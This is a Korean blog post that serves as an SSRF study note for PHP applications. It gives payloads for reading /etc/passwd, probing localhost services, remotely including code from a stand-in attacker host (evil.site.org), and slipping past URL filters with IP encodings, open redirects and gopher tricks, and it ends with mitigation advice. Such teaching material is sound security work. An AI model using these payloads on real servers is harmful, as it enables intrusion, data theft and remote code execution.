Post

SSRF

Server Side Request Forgery

웹 어플리케이션이 외부로 request를 보낼 대상을 설정할 때, 뿐만 아니라 외부로 request를 보낼 수 있는 함수를 사용할 때 인자에 user input이 들어간다면 발생할 수 있다.

PHP는http:// Wrapper 를 지원하기 때문에, fopen(), include/require,cURL 등에 인자로 http://url 형태를 넘겨 외부 도메인에 있는 리소스를 가져올 수 있다.

  • http:// 이외에도다양한 Wrapper 를 사용할 수 있다.
  • 위 함수들 뿐만 아니라, user input을 참고해 외부 request를 보내는 상황이면 어디든 발생할 수 있다.

외부 도메인 뿐만 아니라 방화벽 뒤에 위치한 internal network 같은, 클라이언트에서 직접 접근할 수 없는 리소스도 접근할 수 있다. 또한, 해당 서버의 loopback에서 돌아가고 있는 서비스에 접근이 가능하기 때문에, 이를 이용해 ① 포트 스캐닝 으로 동작 중인 서비스를 알아내고, ② 이 서비스에 접근 할 수 있다.

Note ) PHP에서는 파일 이외의 리소스도 불러올 수 있는 기능이 기본 값으로 설정되어 있다. Note ) 그러나 반드시 http://를 붙여주어야 한다. 묵시적으로 지정된 기본 스트림 래퍼는 file://이다.

1
2
3
?fname=http://internal.server/target
==========
$handle = fopen("/path/to/{$\_GET['fname']}.txt", 'r');
  • 상위 디렉토리 우회 : ../로 루트로 이동 ( 이 때 웹서버 루트가 아니라 파일시스템 루트까지 가능하다. )
  • 확장자 우회 : %00 / ? / #
localhost services access
1
?url=http://localhost/server-status
file system access
1
?url=file:///etc/passwd

Note ) server application에서 사용하는 request 방식에 따라 이 밖의 URL schema도 사용 가능하다.

  • dict://
  • gopher://
  • ldap://
include → execute

include의 경우 이런 식으로 아예 php source code를 include하도록 할 수 있는데, 이 경우 evil.inc가 php source라면 evil.inc가 그대로 실행된다.

1
2
3
4
?include\_path=http%3A%2F%2Fevil.site.org%2Fevil.inc%3F
==========
include "{$\_GET['include\_path']}/header.inc";
==>  include "http://evil.site.org/evil.inc?/header.inc";

input validation bypass #1

일단 필터링 당하지 않는 url을 알아내야 한다.

testing
1
2
3
4
5
6
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/
URL black list

Blacklist로 막는 경우 어찌됐건 우회가 가능하다.

http://doesn’tmatter@www.pc-help.org/obscure.htm

@앞에 오는 것은 무시된다. 원래는 id:pw@url형식으로 사용하도록 되어 있으니까.

Note ) 근데 user-agent에 보면 이것도 같이 들어가있다.

IP를 이용한 방법

http://3468664375/obscure.htm - summed decimal

http://0316.0277.0236.067/obscure.htm - octal

http://0xCE.0xBF.0x9E.0x37/obscure.htm - hex

http://0xCeBF9e37/obscure.htm - hex wildcard DNS (xip.io )

input validation bypass #2

아래에 있는 방법들은 필터링 당하지 않는 url을 알아냈을 때, 이를 이용해 어떻게 localhost에 접근하는지에 대한 방법이다.

Open redirect

2017/09/21 - [Web/Hack] - Unsafe redirect

localhost 등을 넘기다 필터링 당하는 경우나 URL schema를 gopher://등으로 변경해야 하는 경우, 데이터를 가공해야 하는 경우에는 Open redirect 취약점이 존재한다면 이를 이용해 일단 내 서버로 요청하게 한 다음 내 서버에서 요청을 적당히 처리해 반환하도록 구성할 수 있다.

DNS pinning ( + race condition )

DNS pinning ( + race condition )

PHP fsockopen() url parsing trick

SSRF bible - PHP fsockopen() url parsing trick

Retrieving data check bypass

SSRF를 이용해 서버가 어떤 데이터를 수신했을 때, 그 데이터가 적절한 형태인지(e.g., 이미지인지, XML인지)를 체크한다면 형식을 맞춰주어야 한다. 보통 Forged request를 보내는 타겟이 내 서버가 되기 때문에 서버에서 형식을 맞춰서 보내주는 것은 별로 어렵지 않은데, 문제는 victim으로 보내야 하는 데이터가 php source같이 실행되어야 하는 경우에는 형식을 맞춰주면 그냥 데이터가 돼버려서 실행되지 않는다. 따라서 이를 우회할 방법이 필요하다.

HTTP/0.9

0.9를 쓰면 HTTP header 없이 response를 받을 수 있지만 요즘 웬만한 웹서버에서는 안되는 듯.

curl command concatenation

라이브러리 curl말고, command curl의 경우 패턴을 지정해 여러 request를 보낼 수 있는데, 이 때 모든 response가 concatenate되기 때문에 이를 이용해 형식을 맞춰줄 수 있다.

1
curl http://myserv.com/[1-3].php

1.php

1
<?xml version="1.0"?><valid-tag><![CDATA[

2.php

1
2
3
4
<?php
header("gopher://localhost:70/1stats%0aquit");
// data to retrieve
?>

3.php

1
]]><....

mitigation

1
2
3
4
if (ctype\_alpha($\_GET['filename'])) {
$clean['filename'] = $\_GET['filename'];
} else { ... }
$handle = fopen("/path/to/{$clean['filename']}.txt", 'r');
  • whitelist 방식으로 필터링한다.
  • ctype_alpha()말고도 php basename()와 정규표현식을 활용할 수 있다.
  • fopen()대신 php file()을 사용하는 것을 고려해본다.
  • 원격 리소스를 가져오는 기능이 필요하지 않다면 php.ini에서 allow\_url\_fopenallow\_url_include를 비활성화한다.
참고

https://thehiddenwiki.pw/files/hacking/Bible%20cheatsheet.pdf

This post is licensed under CC BY 4.0 by the author.